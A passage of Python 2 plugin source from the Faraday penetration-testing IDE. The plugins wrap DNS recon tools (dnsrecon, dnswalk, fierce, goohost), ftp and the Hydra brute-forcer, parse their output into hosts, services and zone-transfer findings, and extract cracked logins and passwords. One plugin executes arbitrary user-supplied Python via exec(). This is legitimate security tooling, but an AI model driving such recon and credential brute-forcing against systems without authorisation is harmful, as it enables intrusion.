102 node_to_find = match_obj.group(1)
103 xpath_attrib = match_obj.group(2)
104 xpath_value = match_obj.group(3)
105 for node_found in xml_node.findall(node_to_find):
106 if node_found.attrib[xpath_attrib] == xpath_value:
107 node = node_found
108 break
109 else:
110 node = xml_node.find(subnode_xpath_expr)
111
112 else:
113 node = xml_node.find(subnode_xpath_expr)
114
115 if node is not None:
116 return node.get(attrib_name)
117
118 return None
119
120
121
122
123
124 class Item(object):
125 """
126 An abstract representation of a Item
127
128 TODO: Consider evaluating the attributes lazily
129 TODO: Write what's expected to be present in the nodes
130 TODO: Refactor both Host and the Port clases?
131
132 @param item_node A item_node taken from an dnsrecon xml tree
133 """
134 def __init__(self, item_node):
135 self.node = item_node
136
137 self.type = self.do_clean(self.node.get('type'))
138 self.zonetransfer = self.do_clean(self.node.get('zone_transfer'))
139 self.ns_server = self.do_clean(self.node.get('ns_server'))
140 self.address = self.do_clean(self.node.get('address')) if not self.type=="info" else self.ns_server
141
142 self.target = self.do_clean(self.node.get('target'))
143 self.name = self.do_clean(self.node.get('name'))
144 self.exchange = self.do_clean(self.node.get('exchange'))
145
146 print "GENERATION:" + self.type, self.address, self.zonetransfer
147
148 def do_clean(self,value):
149 myreturn =""
150 if value is not None:
151 myreturn = re.sub(" |\n","",value)
152 return myreturn
153
154 def get_text_from_subnode(self, subnode_xpath_expr):
155 """
156 Finds a subnode in the host node and the retrieves a value from it.
157
158 @return An attribute value
159 """
160 sub_node = self.node.find(subnode_xpath_expr)
161 if sub_node is not None:
162 return sub_node.text
163
164 return None
165
166
167
168 class DnsreconPlugin(core.PluginBase):
169 """
170 Example plugin to parse dnsrecon output.
171 """
172 def __init__(self):
173 core.PluginBase.__init__(self)
174 self.id = "Dnsrecon"
175 self.name = "Dnsrecon XML Output Plugin"
176 self.plugin_version = "0.0.2"
177 self.version = "0.8.7"
178 self.framework_version = "1.0.0"
179 self.options = None
180 self._current_output = None
181 self._command_regex = re.compile(r'^(sudo dnsrecon|dnsrecon|sudo dnsrecon\.py|dnsrecon\.py|python dnsrecon\.py|\.\/dnsrecon\.py).*?')
182 self._completition = {
183 "":"dnsrecon.py &lt;options&gt;",
184 "-h":"Show this help message and exit",
185 "-d":"-d &lt;domain&gt; Domain to Target for enumeration.",
186 "-r":"-r &lt;range&gt; IP Range for reverse look-up brute force in formats (first-last) or in (range/bitmask).",
187 "-n":"-n &lt;name&gt; Domain server to use, if none is given the SOA of the target will be used",
188 "-D":"-D &lt;file&gt; Dictionary file of sub-domain and hostnames to use for brute force.",
189 "-f":"Filter out of Brute Force Domain lookup records that resolve to the wildcard defined IP Address when saving records.",
190 "-t":"-t &lt;types&gt; Specify the type of enumeration to perform:\nstd To Enumerate general record types, enumerates.\nSOA, NS, A, AAAA, MX and SRV if AXRF on the NS Servers fail.\nrvl To Reverse Look Up a given CIDR IP range.\nbrt To Brute force Domains and Hosts using a given dictionary.\nsrv To Enumerate common SRV Records for a given domain.\naxfr Test all NS Servers in a domain for misconfigured zone transfers.\ngoo Perform Google search for sub-domains and hosts.\nsnoop To Perform a Cache Snooping against all NS servers for a given domain, testing all with file containing the domains, file given with -D option.\ntld Will remove the TLD of given domain and test against all TLD's registered in IANA\nzonewalk Will perform a DNSSEC Zone Walk using NSEC Records.",
191 "-a":"Perform AXFR with the standard enumeration.",
192 "-s":"Perform Reverse Look-up of ipv4 ranges in the SPF Record of the targeted domain with the standard enumeration.",
193 "-g":"Perform Google enumeration with the standard enumeration.",
194 "-w":"Do deep whois record analysis and reverse look-up of IP ranges found thru whois when doing standard query.",
195 "-z":"Performs a DNSSEC Zone Walk with the standard enumeration.",
196 "--threads":"--threads &lt;number&gt; Number of threads to use in Range Reverse Look-up, Forward Look-up Brute force and SRV Record Enumeration",
197 "--lifetime":"--lifetime &lt;number&gt; Time to wait for a server to response to a query.",
198 "--db":"--db &lt;file&gt; SQLite 3 file to save found records.",
199 "--xml":"--xml &lt;file&gt; XML File to save found records.",
200 "--iw":"--iw Contibue bruteforcing a domain even if a wildcard record resolution is dicovered.",
201 "-c":"-c &lt;file&gt; Comma separated value file.",
202 "-v":"Show attempts in the bruteforce modes.",
203 }
204
205 global current_path
206 self._output_file_path = os.path.join(self.data_path,
207 "dnsrecon_output-%s.xml" % self._rid)
208
209 def validHosts(self, hosts):
210 valid_records = ["NS", "CNAME", "A", "MX", "info"]
211 hosts = filter(lambda h: h.type in valid_records, hosts)
212 return hosts
213
214 def parseOutputString(self, output, debug = False):
215 """
216 This method will discard the output the shell sends, it will read it from
217 the xml where it expects it to be present.
218
219 NOTE: if 'debug' is true then it is being run from a test case and the
220 output being sent is valid.
221 """
222
223 parser = DnsreconXmlParser(output)
224
225 for host in self.validHosts(parser.hosts):
226
227 print host.type,host.name,host.zonetransfer
228 hostname=host.target
229 if host.type=="MX":
230 hostname=host.exchange
231 elif host.type=="A":
232 hostname=host.name
233
234 h_id = self.createAndAddHost(host.address)
235
236 if self._isIPV4(str(host.address)):
237 i_id = self.createAndAddInterface(h_id, name=host.address, ipv4_address=host.address,hostname_resolution=hostname)
238 else:
239 i_id = self.createAndAddInterface(h_id, name=host.address, ipv6_address=host.address,hostname_resolution=hostname)
240
241 if host.type =="info":
242 s_id = self.createAndAddServiceToInterface(h_id,i_id,"domain",protocol="tcp",ports=["53"],status="open")
243 if host.zonetransfer=="success":
244 v_id = self.createAndAddVulnToService(h_id,s_id,name="Zone transfer",
245 desc="A Dns server allows unrestricted zone transfers",
246 ref=["CVE-1999-0532"])
247
248 del parser
249
250 def _isIPV4(self, ip):
251 if len(ip.split(".")) == 4:
252 return True
253 else:
254 return False
255
256
257 xml_arg_re = re.compile(r"^.*(--xml\s*[^\s]+).*$")
258
259 def processCommandString(self, username, current_path, command_string):
260 """
261 Adds the -oX parameter to get xml output to the command string that the
262 user has set.
263 """
264 arg_match = self.xml_arg_re.match(command_string)
265
266 if arg_match is None:
267 return re.sub(r"(^.*?dnsrecon(\.py)?)",
268 r"\1 --xml %s" % self._output_file_path,
269 command_string)
270 else:
271 return re.sub(arg_match.group(1),
272 r"--xml %s" % self._output_file_path,
273 command_string)
274
275 def setHost(self):
276 pass
277
278
279 def createPlugin():
280 return DnsreconPlugin()
281
282 if __name__ == '__main__':
283 parser = DnsreconXmlParser(sys.argv[1])
284 for item in parser.items:
285 if item.status == 'up':
286 print item
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6
0 #!/usr/bin/env python
1 # -*- coding: utf-8 -*-
2 '''
3 Faraday Penetration Test IDE - Community Version
4 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
5 See the file 'doc/LICENSE' for the license information
6
7 '''
8 from __future__ import with_statement
9 from plugins import core
10 from model import api
11 import re
12 import os
13 import pprint
14 import sys
15 import socket
16
17
18 current_path = os.path.abspath(os.getcwd())
19
20 __author__ = "Francisco Amato"
21 __copyright__ = "Copyright (c) 2013, Infobyte LLC"
22 __credits__ = ["Francisco Amato"]
23 __license__ = ""
24 __version__ = "1.0.0"
25 __maintainer__ = "Francisco Amato"
26 __email__ = "[email protected]"
27 __status__ = "Development"
28
29
30
31
32
33 class DnswalkParser(object):
34 """
35 The objective of this class is to parse an xml file generated by the dnswalk tool.
36
37 TODO: Handle errors.
38 TODO: Test dnswalk output version. Handle what happens if the parser doesn't support it.
39 TODO: Test cases.
40
41 @param dnswalk_filepath A proper simple report generated by dnswalk
42 """
43 def __init__(self, output):
44
45 lists = output.split("\n")
46 self.items = []
47
48
49 for line in lists:
50 mregex = re.search("WARN: ([\w\.]+) ([\w]+) ([\w\.]+):",line)
51 if mregex is not None:
52 print "host %s, ip %s" % (mregex.group(1),mregex.group(3))
53 item = {'host' : mregex.group(1), 'ip' : mregex.group(3), 'type' : mregex.group(2)}
54 self.items.append(item)
55
56
57 mregex = re.search("Getting zone transfer of ([\w\.]+) from ([\w\.]+)\.\.\.done\.",line)
58 if mregex is not None:
59 ip=self.getAddress(mregex.group(2))
60 item = {'host' : mregex.group(1), 'ip' : ip, 'type' : 'info'}
61 self.items.append(item)
62
63 def getAddress(self, hostname):
64 """
65 Returns remote IP address from hostname.
66 """
67 try:
68 return socket.gethostbyname(hostname)
69 except socket.error, msg:
70
71 return hostname
72
73
74
75
76 class DnswalkPlugin(core.PluginBase):
77 """
78 Example plugin to parse dnswalk output.
79 """
80 def __init__(self):
81 core.PluginBase.__init__(self)
82 self.id = "Dnswalk"
83 self.name = "Dnswalk XML Output Plugin"
84 self.plugin_version = "0.0.1"
85 self.version = "2.0.2"
86
87 self.options = None
88 self._current_output = None
89 self._current_path = None
90 self._command_regex = re.compile(r'^(sudo dnswalk|dnswalk|\.\/dnswalk).*?')
91 self._completition = {
92 "":"dnswalk domain",
93 "-r":"Recursively descend subdomains of domain",
94 "-i":"Suppress check for invalid characters in a domain name.",
95 "-a":"turn on warning of duplicate A records.",
96 "-d":"Debugging",
97 "-m":"Check only if the domain has been modified. (Useful only if dnswalk has been run previously.)",
98 "-F":"Enable \"facist\" checking. (See man page)",
99 "-l":"Check lame delegations",
100 }
101
102 global current_path
103
104
105
106 def canParseCommandString(self, current_input):
107 if self._command_regex.match(current_input.strip()):
108 return True
109 else:
110 return False
111
112
113 def parseOutputString(self, output, debug = False):
114 """
115 This method will discard the output the shell sends, it will read it from
116 the xml where it expects it to be present.
117
118 NOTE: if 'debug' is true then it is being run from a test case and the
119 output being sent is valid.
120 """
121
122
123 if debug:
124 parser = DnswalkParser(output)
125 else:
126
127 parser = DnswalkParser(output)
128
129 print parser.items.__len__()
130 for item in parser.items:
131 if item['type'] == "A":
132 h_id = self.createAndAddHost(item['ip'])
133 i_id = self.createAndAddInterface(h_id, item['ip'], ipv4_address=item['ip'],hostname_resolution=item['host'])
134 elif item['type'] == "info":
135 h_id = self.createAndAddHost(item['ip'])
136 i_id = self.createAndAddInterface(h_id, item['ip'], ipv4_address=item['ip'],hostname_resolution=item['host'])
137 s_id = self.createAndAddServiceToInterface(h_id, i_id, "domain", "tcp", ports=['53'])
138 self.createAndAddVulnToService(h_id, s_id, "Zone transfer", desc="A Dns server allows unrestricted zone transfers",
139 ref=["CVE-1999-0532"])
140
141 del parser
142 return True
143
144 def processCommandString(self, username, current_path, command_string):
145 """
146 """
147 return None
148
149 def createPlugin():
150 return DnswalkPlugin()
151
152 if __name__ == '__main__':
153 parser = DnswalkParser(sys.argv[1])
154 for item in parser.items:
155 if item.status == 'up':
156 print item
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6
0 #!/usr/bin/env python
1 # -*- coding: utf-8 -*-
2
3 '''
4 Faraday Penetration Test IDE - Community Version
5 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
6 See the file 'doc/LICENSE' for the license information
7
8 '''
9 from __future__ import with_statement
10 from plugins import core
11 from model import api
12 import re
13 import os
14 import shlex
15 import argparse
16 import sys
17 import random
18 from StringIO import StringIO
19 import traceback
20 #current_path = os.path.abspath(os.getcwd())
21
22
23 class FPlugin(core.PluginBase):
24 """
25 Example plugin to parse f output.
26 """
27 def __init__(self):
28 core.PluginBase.__init__(self)
29 self.id = "faraday"
30 self.name = "Faraday Output Plugin"
31 self.plugin_version = "0.0.2"
32 self.version = "1.0.0"
33 self.options = None
34 self._current_output = None
35 self._command_regex = re.compile(r'^(sudo fplugin|sudo \./fplugin|\./fplugin).*?')
36 self._hosts = []
37 self.args=None
38 self._completition = {
39 "":"f [i &lt;Python Code&gt;]",
40 "-e":"execute model directly",
41 "-o":"output command",
42 }
43
44
45 def parseOutputString(self, output, debug = False):
46 pass
47
48
49 file_arg_re = re.compile(r"^.*(-o\s*[^\s]+).*$")
50 def processCommandString(self, username, current_path, command_string):
51 """
52 Adds the -m parameter to get machine readable output.
53 """
54 arg_match = self.file_arg_re.match(command_string)
55 self._file_output_path=os.path.join(self.data_path,"f_output-%s.txt" % random.uniform(1,10))
56
57 parser = argparse.ArgumentParser()
58
59 parser.add_argument('-e')
60 parser.add_argument('-f')
61 parser.add_argument('-o')
62
63 if arg_match is None:
64 final= re.sub(r"(^.*?fplugin)",
65 r"\1 -o %s" % self._file_output_path,
66 command_string)
67 else:
68 final= re.sub(arg_match.group(1),
69 r"-o %s" % self._file_output_path,
70 command_string)
71
72
73 cmd=shlex.split(re.sub(r'\-h|\-\-help', r'', final))
74 try:
75 self.args, unknown = parser.parse_known_args(cmd)
76 except SystemExit:
77 pass
78
79 codeEx=""
80 if self.args.e:
81 codeEx=self.args.e
82 elif self.args.f:
83 with open(current_path + "/" + self.args.f) as f:
84 codeEx = f.read()
85 f.close()
86
87 if codeEx:
88 buffer = StringIO()
89 sys.stdout = buffer
90
91 try:
92 exec(codeEx)
93 except Exception:
94 api.devlog("[Error] - Faraday plugin")
95 api.devlog(traceback.format_exc())
96
97 sys.stdout = sys.__stdout__
98
99 try:
100 f=open(self._file_output_path,"w")
101 f.write(buffer.getvalue())
102 f.close()
103 except:
104 api.devlog ("[Faraday] Can't save faraday plugin output file")
105 return
106
107 print buffer.getvalue()
108
109
110 return final
111
112
113 def setHost(self):
114 pass
115
116 def createPlugin():
117 return FPlugin()
118
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6
0 #!/usr/bin/env python
1 # -*- coding: utf-8 -*-
2 '''
3 Faraday Penetration Test IDE - Community Version
4 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
5 See the file 'doc/LICENSE' for the license information
6
7 '''
8 from __future__ import with_statement
9 from plugins import core
10 from model import api
11 import socket
12 import re
13 import os
14 import pprint
15 import sys
16
17
18 current_path = os.path.abspath(os.getcwd())
19
20 __author__ = "Francisco Amato"
21 __copyright__ = "Copyright (c) 2013, Infobyte LLC"
22 __credits__ = ["Francisco Amato"]
23 __license__ = ""
24 __version__ = "1.0.0"
25 __maintainer__ = "Francisco Amato"
26 __email__ = "[email protected]"
27 __status__ = "Development"
28
29
30
31
32
33 valid_records = ["NS", "CNAME", "A"]
34
35 class FierceParser(object):
36 """
37 The objective of this class is to parse an xml file generated by the fierce tool.
38
39 TODO: Handle errors.
40 TODO: Test fierce output version. Handle what happens if the parser doesn't support it.
41 TODO: Test cases.
42
43 @param fierce_filepath A proper simple report generated by fierce
44 """
45 def __init__(self, output):
46
47
48 self.target = None
49 self.items = []
50
51
52
53
54
55
56
57 r = re.search("DNS Servers for ([\w\.-]+):\r\n([^$]+)Trying zone transfer first...",output)
58 if r is not None:
59 self.target = r.group(1)
60 mstr = re.sub("\t","",r.group(2))
61 self.dns = mstr.split()
62
63
64
65
66 r = re.search("Now performing [\d]+ test\(s\)...\r\n([^$]+)\x0D\nSubnets found ",output)
67 if r is not None:
68 list = r.group(1).split("\r\n")
69 for i in list:
70 if i != "":
71 mstr = i.split("\t")
72 item = {'host' : mstr[1], 'type' : "A", 'ip' : mstr[0]}
73 self.items.append(item)
74
75
76
77
78 self.isZoneVuln = False
79 r = re.search("Whoah, it worked - misconfigured DNS server found:\r\n([^$]+)There isn't much point continuing, you have everything.",output)
80 if r is not None:
81
82 self.isZoneVuln = True
83 list = r.group(1).split("\n")
84 for i in list:
85 if i != "":
86 mstr = i.split()
87 if (mstr and mstr[0] != "" and len(mstr) > 3 and mstr[3] in valid_records):
88 item = {'host' : mstr[0], 'type' : mstr[3], 'ip' : mstr[4]}
89
90 self.items.append(item)
91
92 class FiercePlugin(core.PluginBase):
93 """
94 Example plugin to parse fierce output.
95 """
96 def __init__(self):
97 core.PluginBase.__init__(self)
98 self.id = "Fierce"
99 self.name = "Fierce Output Plugin"
100 self.plugin_version = "0.0.1"
101 self.version = "0.9.9"
102
103 self.options = None
104 self._current_output = None
105 self._current_path = None
106 self._command_regex = re.compile(r'^(sudo fierce|fierce|sudo fierce\.pl|fierce\.pl|perl fierce\.pl|\.\/fierce\.pl).*?')
107 self._completition = {
108 "":"perl fierce.pl [-dns example.com] [OPTIONS]",
109 "-connect":"Attempt to make http connections to any non RFC1918 lot of free time on your hands (could take hours-days). ",
110 "-delay":"The number of seconds to wait between lookups.",
111 "-dns":"The domain you would like scanned.",
112 "-dnsfile":"Use DNS servers provided by a file (one per line) for",
113 "-dnsserver":"Use a particular DNS server for reverse lookups ",
114 "-file":"A file you would like to output to be logged to.",
115 "-fulloutput":"When combined with -connect this will output everything",
116 "-help":"This screen.",
117 "-nopattern":"Don't use a search pattern when looking for nearby",
118 "-range":"Scan an internal IP range (must be combined with dnsserver). Note, that this does not support a pattern. perl fierce.pl -range 111.222.333.0-255 -dnsserver ns1.example.co",
119 "-search":" -search Search list. When fierce attempts to traverse up and. perl fierce.pl -dns examplecompany.com -search corpcompany,blahcompany",
120 "-suppress":"Suppress all TTY output (when combined with -file).",
121 "-tcptimeout":"Specify a different timeout (default 10 seconds). You",
122 "-threads":"Specify how many threads to use while scanning (default",
123 "-traverse":"Specify a number of IPs above and below whatever IP you",
124 "-version":"Output the version number.",
125 "-wide":"Scan the entire class C after finding any matching",
126 "-wordlist":"Use a seperate wordlist (one word per line). Usage:",
127 }
128
129 global current_path
130
131
132
133 def canParseCommandString(self, current_input):
134 if self._command_regex.match(current_input.strip()):
135 return True
136 else:
137 return False
138
139 def resolveCNAME(self, item, items):
140 for i in items:
141 if (i['host'] == item['ip']):
142 item['ip'] = i['ip']
143 return item
144 try:
145 item['ip'] = socket.gethostbyname(item['ip'])
146 except:
147 pass
148 return item
149
150 def resolveNS(self, item, items):
151 try:
152 item['host'] = item['ip']
153 item['ip'] = socket.gethostbyname(item['ip'])
154 except:
155 pass
156 return item
157
158 def parseOutputString(self, output, debug = False):
159 """
160 This method will discard the output the shell sends, it will read it from
161 the xml where it expects it to be present.
162
163 NOTE: if 'debug' is true then it is being run from a test case and the
164 output being sent is valid.
165 """
166
167 parser = FierceParser(output)
168 for item in parser.items:
169 item['isResolver'] = False
170 item['isZoneVuln'] = False
171 if (item['type'] == "CNAME"):
172 self.resolveCNAME(item, parser.items)
173 if (item['type'] == "NS"):
174 self.resolveNS(item, parser.items)
175 item['isResolver'] = True
176 item['isZoneVuln'] = parser.isZoneVuln
177 for item2 in parser.items:
178 if item['ip'] == item2['ip'] and item != item2:
179 item2['isResolver'] = item['isResolver']
180 item2['isZoneVuln'] = item['isZoneVuln']
181
182 item['ip'] = ''
183
184
185
186
187
188
189
190
191
192
193
194 for item in parser.items:
195 if item['ip'] == "127.0.0.1" or item['ip'] == '':
196 continue
197 print "agregando (%s) (%s)" % (item['host'],item['ip'])
198 h_id = self.createAndAddHost(item['ip'])
199 i_id = self.createAndAddInterface(h_id, item['ip'], ipv4_address= item['ip'], hostname_resolution = [item['host']])
200 if item['isResolver']:
201 s_id = self.createAndAddServiceToInterface(h_id, i_id, "domain", "tcp", ports=['53'])
202 if item['isZoneVuln']:
203 self.createAndAddVulnToService(h_id, s_id, "Zone transfer", desc="A Dns server allows unrestricted zone transfers",
204 ref=["CVE-1999-0532"])
205 del parser
206
207 def processCommandString(self, username, current_path, command_string):
208 """
209 """
210 return None
211
212 def createPlugin():
213 return FiercePlugin()
214
215 if __name__ == '__main__':
216 parser = FierceParser(sys.argv[1])
217 for item in parser.items:
218 if item.status == 'up':
219 print item
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6
0 #!/usr/bin/env python
1 # -*- coding: utf-8 -*-
2
3 '''
4 Faraday Penetration Test IDE - Community Version
5 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
6 See the file 'doc/LICENSE' for the license information
7
8 '''
9 from plugins import core
10 from model import api
11 import re
12 import os, socket
13 import pprint
14 current_path = os.path.abspath(os.getcwd())
15
16 __author__ = "Javier Victor Mariano Bruno"
17 __copyright__ = "Copyright (c) 2013, Infobyte LLC"
18 __credits__ = ["Javier Victor Mariano Bruno"]
19 __license__ = ""
20 __version__ = "1.0.0"
21 __maintainer__ = "Javier Victor Mariano Bruno"
22 __email__ = "[email protected]"
23 __status__ = "Development"
24
25
26 class CmdFtpPlugin(core.PluginBase):
27 """
28 This plugin handles ftp command.
29 Basically detects if user was able to connect to a device
30 """
31 def __init__(self):
32 core.PluginBase.__init__(self)
33 self.id = "ftp"
34 self.name = "Ftp"
35 self.plugin_version = "0.0.1"
36 self.version = "0.17"
37 self.framework_version = "1.0.0"
38 self.options = None
39 self._current_output = None
40 self._command_regex = re.compile(r'^ftp.*?')
41 self._host_ip = None
42 self._port = "21"
43 self._info = 0
44 self._version = None
45 self._completition = {
46 "":"ftp [-46pinegvd] [host [port]]",
47 "-4":"Use only IPv4 to contact any host.",
48 "-6":"Use IPv6 only.",
49 "-p":"Use passive mode for data transfers. Allows use of ftp in environments where a firewall prevents connections from the outside world back to the client machine. Requires that the ftp server support the PASV command. This is the default if invoked as pftp.",
50 "-i":"Turns off interactive prompting during multiple file transfers.",
51 "-n":"Restrains ftp from attempting “auto-login” upon initial connection. If auto-login is enabled, ftp will check the .netrc (see netrc(5)) file in the user's home directory for an entry describing an account on the remote machine. If no entry exists, ftp will prompt for the remote machine login name (default is the user identity on the local machine), and, if necessary, prompt for a password and an account with which to login.",
52 "-e":"Disables command editing and history support, if it was compiled into the ftp executable. Otherwise, does nothing.",
53 "-g":"Disables file name globbing.",
54 "-v":"Verbose option forces ftp to show all responses from the remote server, as well as report on data transfer statistics.",
55 "-d":"Enables debugging.",
56 }
57
58 global current_path
59
60
61
62 def resolve(self, host):
63 try:
64 return socket.gethostbyname(host)
65 except:
66 pass
67 return host
68
69 def parseOutputString(self, output, debug = False):
70
71 host_info = re.search(r"Connected to (.+)\.", output)
72 banner = re.search("220?([\w\W]+)$", output)
73 if re.search("Connection timed out",output) is None and host_info is not None:
74 hostname=host_info.group(1)
75 ip_address = self.resolve(hostname)
76 self._version = banner.groups(0) if banner else ""
77 if debug:
78 print ip_address
79
80 h_id = self.createAndAddHost(ip_address)
81 i_id = self.createAndAddInterface(h_id, ip_address, ipv4_address=ip_address,hostname_resolution=hostname)
82 s_id = self.createAndAddServiceToInterface(h_id, i_id, "ftp",
83 "tcp",
84 ports = [self._port],
85 status = "open")
86
87
88
89
90 print ("Host detected: %s" % ip_address)
91
92 api.log("New host detected: %s" % ip_address)
93 if debug is True:
94 api.devlog("Debug is active")
95
96
97 return True
98
99 def processCommandString(self, username, current_path, command_string):
100 """
101 """
102 count_args = command_string.split()
103
104 c=count_args.__len__()
105 self._port="21"
106 if re.search("[\d]+",count_args[c-1]):
107 self._port = count_args[c-1]
108
109 return None
110 def createPlugin():
111 return CmdFtpPlugin()
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6
0 #!/usr/bin/env python
1 # -*- coding: utf-8 -*-
2
3 '''
4 Faraday Penetration Test IDE - Community Version
5 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
6 See the file 'doc/LICENSE' for the license information
7
8 '''
9 from __future__ import with_statement
10 from plugins import core
11 from model import api
12 import re
13 import os, socket
14 import pprint
15 import sys
16
17
18 current_path = os.path.abspath(os.getcwd())
19
20 __author__ = "Francisco Amato"
21 __copyright__ = "Copyright (c) 2013, Infobyte LLC"
22 __credits__ = ["Francisco Amato"]
23 __license__ = ""
24 __version__ = "1.0.0"
25 __maintainer__ = "Francisco Amato"
26 __email__ = "[email protected]"
27 __status__ = "Development"
28
29
30
31
32
33 class GoohostParser(object):
34 """
35 The objective of this class is to parse an xml file generated by the goohost tool.
36
37 TODO: Handle errors.
38 TODO: Test goohost output version. Handle what happens if the parser doesn't support it.
39 TODO: Test cases.
40
41 @param goohost_filepath A proper simple report generated by goohost
42 @param goohost_scantype You could select scan type ip, mail or host
43 """
44 def __init__(self, goohost_filepath, goohost_scantype):
45 self.filepath = goohost_filepath
46 self.scantype = goohost_scantype
47
48
49
50 with open(self.filepath,"r") as f:
51
52 print "estoy por leer el archivo (%s)" % self.filepath
53 line = f.readline()
54 self.items = []
55 print "afuera del while %s" % line
56 while line:
57 print "estoy adentro del while %s" % line
58 if self.scantype == 'ip':
59 minfo = line.split()
60 item = {'host' : minfo[0], 'ip' : minfo[1]}
61 print "El item ip (%s) (%s)" % (minfo[0],minfo[1])
62 elif self.scantype == 'host':
63 line = line.strip()
64 item = {'host' : line, 'ip' : self.resolve(line)}
65 print "El item ip (%s) (%s)" % (item['host'],item['ip'])
66 else:
67 item = {'data' : line}
68 print "el item host email %s" % line
69
70 self.items.append(item)
71 line = f.readline()
72
73 def resolve(self, host):
74 try:
75 return socket.gethostbyname(host)
76 except:
77 pass
78 return host
79
80
81 class GoohostPlugin(core.PluginBase):
82 """
83 Example plugin to parse goohost output.
84 """
85 def __init__(self):
86 core.PluginBase.__init__(self)
87 self.id = "Goohost"
88 self.name = "Goohost XML Output Plugin"
89 self.plugin_version = "0.0.1"
90 self.version = "v.0.0.1"
91 self.options = None
92 self._current_output = None
93 self._current_path = None
94 self._command_regex = re.compile(r'^(sudo goohost\.sh|goohost\.sh|sh goohost\.sh|\.\/goohost\.sh).*?')
95 self.scantype = "host"
96 self.host = None
97 self._completition = {
98 "":"./goohost.sh -t domain.tld [-m <host|ip|mail> -p <1-20> -v] ",
99 "-t":"target domain. Ex: backtrack.linux.org ",
100 "-m":"method: <ip|host|mail>. Default value is set to host ",
101 "-p":"pages [1-20]. Max number of pages to download from Google. Default 5 ",
102 "-v":"verbosity. Default is set to off ",
103 }
104
105 global current_path
106 self.output_path = None
107
108
109
110
111 def parseOutputString(self, output, debug = False):
112 """
113 This method will discard the output the shell sends, it will read it from
114 the xml where it expects it to be present.
115
116 NOTE: if 'debug' is true then it is being run from a test case and the
117 output being sent is valid.
118 """
119
120 print "este es el output (%s)" % output
121
122 if self.output_path is None:
123 mypath = re.search("Results saved in file (\S+)",output);
124 print "este es el output %s" % output
125 if mypath is not None:
126 print "encontre el archivo '%s' '%s'" % (mypath.group(1), self.scantype)
127
128 self.output_path = self._current_path + "/" + mypath.group(1)
129
130
131 else:
132 return False
133
134 if debug:
135 parser = GoohostParser(output,self.scantype)
136 else:
137 if not os.path.exists(self.output_path):
138 print "el archivo no existe '%s'" % self.output_path
139 return False
140
141 print "estoy a punto de entrar a goohost"
142 parser = GoohostParser(self.output_path,self.scantype)
143
144
145
146
147
148
149 if self.scantype == 'host' or self.scantype == 'ip' :
150
151
152 for item in parser.items:
153 h_id = self.createAndAddHost(item['ip'])
154 i_id = self.createAndAddInterface(h_id, item['ip'],ipv4_address=item['ip'],hostname_resolution=item['host'])
155
156 del parser
157
158
159
160
161
162 def processCommandString(self, username, current_path, command_string):
163 """
164 Adds the -oX parameter to get xml output to the command string that the
165 user has set.
166 """
167
168
169
170
171
172
173
174
175
176
177
178 def setHost(self):
179 pass
180
181
182 def createPlugin():
183 return GoohostPlugin()
184
185 if __name__ == '__main__':
186 parser = GoohostParser(sys.argv[1])
187 for item in parser.items:
188 if item.status == 'up':
189 print item
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6
0 #!/usr/bin/env python
1 # -*- coding: utf-8 -*-
2
3 '''
4 Faraday Penetration Test IDE - Community Version
5 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
6 See the file 'doc/LICENSE' for the license information
7
8 '''
9 from __future__ import with_statement
10 from plugins import core
11 from model import api
12 import re
13 import os
14 import sys
15 import random
16
17
18 current_path = os.path.abspath(os.getcwd())
19
20 __author__ = "Francisco Amato"
21 __copyright__ = "Copyright (c) 2013, Infobyte LLC"
22 __credits__ = ["Francisco Amato"]
23 __license__ = ""
24 __version__ = "1.0.0"
25 __maintainer__ = "Francisco Amato"
26 __email__ = "[email protected]"
27 __status__ = "Development"
28
29
30
31
32
33 class HydraParser(object):
34 """
35 The objective of this class is to parse an xml file generated by the hydra tool.
36
37 @param hydra_filepath A proper simple report generated by hydra
38 """
39 def __init__(self, xml_output):
40 lines = xml_output.splitlines()
41 self.items = []
42 for l in lines:
43 reg = re.search("\[([^$]+)\]\[([^$]+)\] host: ([^$]+) login: ([^$]+) password: ([^$]+)",l)
44 if reg:
45 item = {'port' : reg.group(1), 'plugin' : reg.group(2), 'ip' : reg.group(3), 'login' : reg.group(4), 'password' : reg.group(5) }
46
47 self.items.append(item)
48
49
50
51
52
53
54
55 class HydraPlugin(core.PluginBase):
56 """
57 Example plugin to parse hydra output.
58 """
59 def __init__(self):
60 core.PluginBase.__init__(self)
61 self.id = "Hydra"
62 self.name = "Hydra XML Output Plugin"
63 self.plugin_version = "0.0.1"
64 self.version = "7.5"
65 self.options = None
66 self._current_output = None
67 self._current_path = None
68 self._command_regex = re.compile(r'^(sudo hydra|sudo \.\/hydra|hydra|\.\/hydra).*?')
69 self.host = None
70 self._completition = {
71 "":"[[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-SuvV46] [service://server[:PORT][/OPT]]",
72 "-R":"restore a previous aborted/crashed session",
73 "-S":"connect via SSL",
74 "-s":"PORT if the service is on a different default port, define it here",
75 "-l":"LOGIN or -L FILE login with LOGIN name, or load several logins from FILE",
